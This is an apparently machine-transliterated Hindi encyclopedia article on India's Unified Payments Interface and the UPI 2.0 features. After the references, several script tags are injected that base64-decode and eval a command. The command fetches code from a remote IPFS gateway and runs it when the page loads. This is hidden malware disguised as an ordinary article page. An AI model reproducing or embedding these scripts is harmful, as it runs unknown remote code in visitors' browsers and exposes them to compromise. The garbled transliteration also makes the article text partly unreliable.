एकीकृत भुगतान प्रणाली
ekikrit bhugatan pranali (aangrezi: Unified Payments Interface) ek aisa tantr hai jo ek mobail eplikeshan ke madhyam se kee baiank khatoan ka sanchalan, vibhinn baiankoan ki visheshataoan ka samayojan, nidhiyoan ka nirbadh avagaman aur ek hi chhatari ke aantargat vyapariyoan ka bhugatan kar sakata hai. yah “piyar-too-piyar” anurodh ko bhi poora karata hai jise avashyakata aur suvidha ke anusar nirdharit kar bhugatan kiya ja sakata hai. ekikrit bhugatan pranali ka pahala sanskaran aprॅl 2016 mean l aaunch kiya gaya tha.
visheshataean
ekikrit bhugatan pranali bharatiy rashtriy bhugatan nigam evan bharatiy rizarv baiank dvara shuroo kiya gaya aaunalain bhugatan ka ek naya tarika hai. jo aantar baiank lenaden ko suvidhajanak banata hai. rashtriy bhugatan nigam ne ekikrit bhugatan iantaraphes 2.0 l aaunch kiya hai. isaki visheshataean nimnalikhit haian[1]-
- is sanskaran ke tahat grahak ab chaloo aur bachat khate ke atirikt apane ovaradrapht khatoan ko bhi yoopiaee se jo d paeange. sath hi grahak tatkal len-den karane mean saksham hoange aur ovaradrapht khate se ju de sabhi labh upayogakarttaoan ko upalabdh karae jaeange.
- yoopiaee ka istemal ek aise paridrishy mean kiya ja sakata hai, jahaan vartaman pratibaddhataoan ke madhyam se bad mean rupe sthanaantarit kiya jana hai.
- isamean grahak len-den ko poorv adhikrit kar sakate haian aur bad ki tarikh mean bhugatan kar sakate haian.
- isamean mean ek suvidha yah hai ki grahak bhugatan karane se pahale vyapari dvara bheje ge chalan ki jaanch kar sakate haian. isaka uddeshy grahakoan ko praman-patr dekhane aur satyapit karane mean sahayata karana tatha yah jaanchana hai ki ise sahi vyapari dvara bheja gaya hai ya nahian.
- kod skain karate samay vyapariyoan ki pramanikata ki jaanch karane hetu grahakoan ke liye ek tvarit pratikriya kod suvidha pesh ki gee hai. yah upayogakartta ko soochit karata hai ki vyapari yoopiaee dvara satyapit hai ya nahian.
- isamean len-den tezi se sansadhit hote haian kyoanki hastaksharit ianteant ke mamale mean ep pasakod ki avashyakata nahian hoti hai. yah kyooar chhe dachha d ki sanbhavanaoan ko bhi asvikar karata hai.
- isake atirikt praptakartta ke adhisoochanaoan ke madhyam se surakshit nahian hone se grahakoan ko soochit kiya jata hai.
- yoopiaee 2.0 ke l aaunch ke sath hi isake vistar se ne rik aaurd sthapit karane ki ummid hai, vishesh roop se vyakti se vyapari ko kiye jane vale bhugatan ke mamale mean. isaki uchch matra, kam lagat aur ek khule srot par nirmit mapaniy manch hona, bharat ki dizital arthavyavastha mean parivartan ki ek kuanji hai.
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tika tippani aur sandarbh
- ↑ ekikrit bhugatan pranali kya hai (hiandi) drishtiias.com. abhigaman tithi: 10 navanbar, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>